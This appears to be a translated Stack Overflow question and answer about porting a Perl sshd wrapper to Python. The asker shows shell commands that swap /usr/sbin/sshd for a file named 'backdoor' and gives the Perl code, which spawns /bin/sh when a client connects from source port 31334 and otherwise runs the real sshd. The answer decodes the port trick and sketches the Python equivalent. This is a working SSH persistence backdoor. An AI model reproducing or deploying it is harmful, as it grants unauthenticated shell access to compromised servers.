我正在根据 perl 编写 python3 ssh 中间件,并希望将端口确定添加到我的 python 代码中。如何判断perl脚本中stdin的内容?
perl脚本正常运行 我用的是 ubuntu 16.04,这是我做的
mv /usr/sbin/sshd /usr/bin/sshd
mv /usr/sbin/backdoor /usr/sbin/sshd
chmod +x /usr/sbin/sshd
systemctl restart sshd
这是 perl 代码
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
我根据查到的资料理解了STDIN,是fd吗?
- **POSIX::getpeername 允许您从 sockfd 获取对等名。 来自 https://metacpan.org/pod/POSIX::getpeername
这是我的python代码
#!/usr/bin/python3.5
import os
import socket
import subprocess
import sys
for s in sys.stdin:
raddr = os.read(s,100)
if re.match(r'..zf',str(raddr)):
os.execv("/bin/sh")
with open("hello.log","a+") as f:
f.write(str(raddr))
sys.exit()
os.execv('/usr/bin/sshd',sys.argv)
我希望知道 stdin 在 perl 中的含义,谢谢~~
最佳答案
STDIN
是文件句柄,而不是文件描述符(“fd”)。文件描述符是小整数,代表操作系统内核提供的接口(interface)中的 I/O channel (例如套接字)( "system calls" ,例如 read
、write
、在 C 级打开
, ...)。
STDIN
(“标准输入”)是包含文件描述符的高级对象(0
在 STDIN
的情况下)连同其他数据,例如缓冲区。您可以使用 fileno
从句柄中提取文件描述符。 . Perl 中所有常用的 I/O 函数都对句柄进行操作,而不是对原始文件描述符进行操作。
Perl 的STDIN
对应sys.stdin
在 Python 中。与在 Perl 中一样,该对象包装了一个底层文件描述符,您可以使用 sys.stdin.fileno()
(对应于 Perl 中的 fileno(STDIN)
)提取它。
POSIX::getpeername是 CPAN 上的一个模块。这不是您的 Perl 脚本使用的;否则,您将在代码中的某处使用 use POSIX::getpeername;
(实际上,Perl 脚本不加载任何模块)。如文档所述,该模块提供了一个 _getpeername
函数,可以从套接字文件描述符中获取远程地址;如果你想将它与 STDIN
一起使用,你可以使用 use POSIX::getpeername; POSIX::getpeername::_getpeername(fileno(STDIN))
(或 POSIX::getpeername::_getpeername(0)
)。
您的代码调用了 getpeername
Perl 内置的函数,它接受一个文件句柄,而不是一个描述符。句柄必须引用套接字。在 STDIN
的情况下,调用进程负责设置它; Perl 代码简单地假定它是一个套接字。该函数返回的是一个包含原始 struct sockaddr_in
C 结构的字节字符串。通常你会使用 Socket::unpack_sockaddr_in
提取端口和 IP 地址(或仅使用 IO::Socket::INET
中的高级接口(interface)之一,例如 $socket->peerport
)。
至于正则表达式的作用,取决于它运行的系统上 struct sockaddr_in
的内部结构。 C 类型本身声明为:
struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
};
sa_family_t
是 some unsigned integer type .在 Linux 上(我希望在其他 unix 系统上也是如此)它被定义为 unsigned short
,即 2 字节整数。
in_port_t
是一个 unsigned 2-byte integer包含网络字节顺序的端口。
假设前两个字段之间没有填充,这意味着 getpeername
返回的字符串的前两个字节代表地址族,接下来的两个字节代表 big-endian 中的网络端口 ("网络字节序”)格式。
这就是 /^..zf/
匹配的内容。前两个字节可以是任何内容(值 10 除外,它被解释为换行符;这很可能是代码中的错误),因此地址族无关紧要。字符串zf
对应大端的31334
:
$ perl -wE 'say unpack "n", "zf"'
31334
简而言之,getpeername(...)=~/^..zf/
检查(以一种非常快速和肮脏的方式)远程端口是否为 31334。如果是,包装器脚本运行 /bin/sh
;否则它会转发到真正的 sshd
可执行文件。
我不确定相应的 Python 代码是什么。也许
import sys
import socket
socket.socket(fileno = sys.stdin.fileno()).getpeername()[1] == 31334
?
关于python - 如何确定sshd的这个perl脚本的stdin内容,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/57252551/